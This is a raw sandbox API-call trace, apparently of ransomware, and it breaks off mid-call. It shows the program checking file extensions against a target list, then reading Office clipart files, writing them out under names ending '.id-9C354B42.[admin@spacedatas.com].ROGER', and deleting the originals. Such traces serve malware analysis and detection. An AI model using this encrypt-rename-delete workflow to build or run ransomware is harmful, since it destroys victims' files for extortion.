1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString=".doc") returned 4 [0061.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".docx") returned 5 [0061.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.035] lstrlenW (lpString=".pdf") returned 4 [0061.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".xls") returned 4 [0061.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.035] lstrlenW (lpString=".xlsx") returned 5 [0061.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.035] lstrlenW (lpString=".ppt") returned 4 [0061.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString=".zip") returned 4 [0061.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.035] lstrlenW (lpString=".rar") returned 4 [0061.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".bz2") returned 4 [0061.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".7z") returned 3 [0061.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString=".dbf") returned 4 [0061.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString=".1cd") returned 4 [0061.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString=".jpg") returned 4 [0061.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.035] lstrlenW (lpString=".doc") returned 4 [0061.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".docx") returned 5 [0061.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.036] lstrlenW (lpString=".pdf") returned 4 [0061.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".xls") returned 4 [0061.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.036] lstrlenW (lpString=".xlsx") returned 5 [0061.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.036] lstrlenW (lpString=".ppt") returned 4 [0061.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.036] lstrlenW (lpString=".zip") returned 4 [0061.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.036] lstrlenW (lpString=".rar") returned 4 [0061.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".bz2") returned 4 [0061.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".7z") returned 3 [0061.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.036] lstrlenW (lpString=".dbf") returned 4 [0061.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.036] lstrlenW (lpString=".1cd") returned 4 [0061.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0061.036] lstrlenW (lpString=".jpg") returned 4 [0061.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.036] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.036] lstrlenW (lpString="BD08773_.WMF") returned 12 [0061.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.037] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=24778) returned 1 [0061.037] CloseHandle (hObject=0x34c) returned 1 [0061.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0061.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.037] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.037] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.038] GetLastError () returned 0x0 [0061.038] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0061.133] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0061.135] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.135] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.135] SetEndOfFile (hFile=0x3a4) returned 1 [0061.456] CloseHandle (hObject=0x3a4) returned 1 [0061.456] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.456] SetEndOfFile (hFile=0x34c) returned 1 [0061.457] CloseHandle (hObject=0x34c) returned 1 [0061.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.902] lstrlenW (lpString=".doc") returned 4 [0061.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString=".docx") returned 5 [0061.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.902] lstrlenW (lpString=".pdf") returned 4 [0061.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString=".xls") returned 4 [0061.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.902] lstrlenW (lpString=".xlsx") returned 5 [0061.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.902] lstrlenW (lpString=".ppt") returned 4 [0061.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.902] lstrlenW (lpString=".zip") returned 4 [0061.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.902] lstrlenW (lpString=".rar") returned 4 [0061.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString=".bz2") returned 4 [0061.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString=".7z") returned 3 [0061.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.902] lstrlenW (lpString=".dbf") returned 4 [0061.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.902] lstrlenW (lpString=".1cd") returned 4 [0061.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.902] lstrlenW (lpString=".jpg") returned 4 [0061.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.903] lstrlenW (lpString=".doc") returned 4 [0061.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.903] lstrlenW (lpString=".docx") returned 5 [0061.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.903] lstrlenW (lpString=".pdf") returned 4 [0061.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.903] lstrlenW (lpString=".xls") returned 4 [0061.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.903] lstrlenW (lpString=".xlsx") returned 5 [0061.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.903] lstrlenW (lpString=".ppt") returned 4 [0061.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.903] lstrlenW (lpString=".zip") returned 4 [0061.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.903] lstrlenW (lpString=".rar") returned 4 [0061.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.903] lstrlenW (lpString=".bz2") returned 4 [0061.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.903] lstrlenW (lpString=".7z") returned 3 [0061.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.903] lstrlenW (lpString=".dbf") returned 4 [0061.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.903] lstrlenW (lpString=".1cd") returned 4 [0061.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0061.903] lstrlenW (lpString=".jpg") returned 4 [0061.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.903] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.904] lstrlenW (lpString="BL00045_.WMF") returned 12 [0061.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.904] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=7862) returned 1 [0061.904] CloseHandle (hObject=0x32c) returned 1 [0061.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0061.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.904] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.904] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0061.905] GetLastError () returned 0x0 [0061.905] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0061.907] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0061.908] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.908] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.908] SetEndOfFile (hFile=0x3dc) returned 1 [0061.908] CloseHandle (hObject=0x3dc) returned 1 [0061.908] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.908] SetEndOfFile (hFile=0x32c) returned 1 [0061.909] CloseHandle (hObject=0x32c) returned 1 [0061.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0061.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.909] lstrlenW (lpString=".doc") returned 4 [0061.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.909] lstrlenW (lpString=".docx") returned 5 [0061.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.909] lstrlenW (lpString=".pdf") returned 4 [0061.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString=".xls") returned 4 [0061.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.910] lstrlenW (lpString=".xlsx") returned 5 [0061.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.910] lstrlenW (lpString=".ppt") returned 4 [0061.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.910] lstrlenW (lpString=".zip") returned 4 [0061.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.910] lstrlenW (lpString=".rar") returned 4 [0061.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString=".bz2") returned 4 [0061.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString=".7z") returned 3 [0061.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.910] lstrlenW (lpString=".dbf") returned 4 [0061.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.910] lstrlenW (lpString=".1cd") returned 4 [0061.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.910] lstrlenW (lpString=".jpg") returned 4 [0061.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.910] lstrlenW (lpString=".doc") returned 4 [0061.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString=".docx") returned 5 [0061.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.910] lstrlenW (lpString=".pdf") returned 4 [0061.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.910] lstrlenW (lpString=".xls") returned 4 [0061.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.911] lstrlenW (lpString=".xlsx") returned 5 [0061.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.911] lstrlenW (lpString=".ppt") returned 4 [0061.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.911] lstrlenW (lpString=".zip") returned 4 [0061.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.911] lstrlenW (lpString=".rar") returned 4 [0061.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.911] lstrlenW (lpString=".bz2") returned 4 [0061.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.911] lstrlenW (lpString=".7z") returned 3 [0061.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.911] lstrlenW (lpString=".dbf") returned 4 [0061.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.911] lstrlenW (lpString=".1cd") returned 4 [0061.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0061.911] lstrlenW (lpString=".jpg") returned 4 [0061.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.911] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.911] lstrlenW (lpString="BL00098_.WMF") returned 12 [0061.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.912] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1012) returned 1 [0061.912] CloseHandle (hObject=0x32c) returned 1 [0061.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0061.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.912] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.912] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0061.912] GetLastError () returned 0x0 [0061.912] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0061.914] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x400, lpOverlapped=0x0) returned 1 [0061.914] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.914] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.915] SetEndOfFile (hFile=0x3dc) returned 1 [0061.915] CloseHandle (hObject=0x3dc) returned 1 [0061.915] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.915] SetEndOfFile (hFile=0x32c) returned 1 [0061.916] CloseHandle (hObject=0x32c) returned 1 [0061.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0061.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.916] lstrlenW (lpString=".doc") returned 4 [0061.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.916] lstrlenW (lpString=".docx") returned 5 [0061.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.916] lstrlenW (lpString=".pdf") returned 4 [0061.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.916] lstrlenW (lpString=".xls") returned 4 [0061.916] lstrcmpiW (lpString1=".xls", 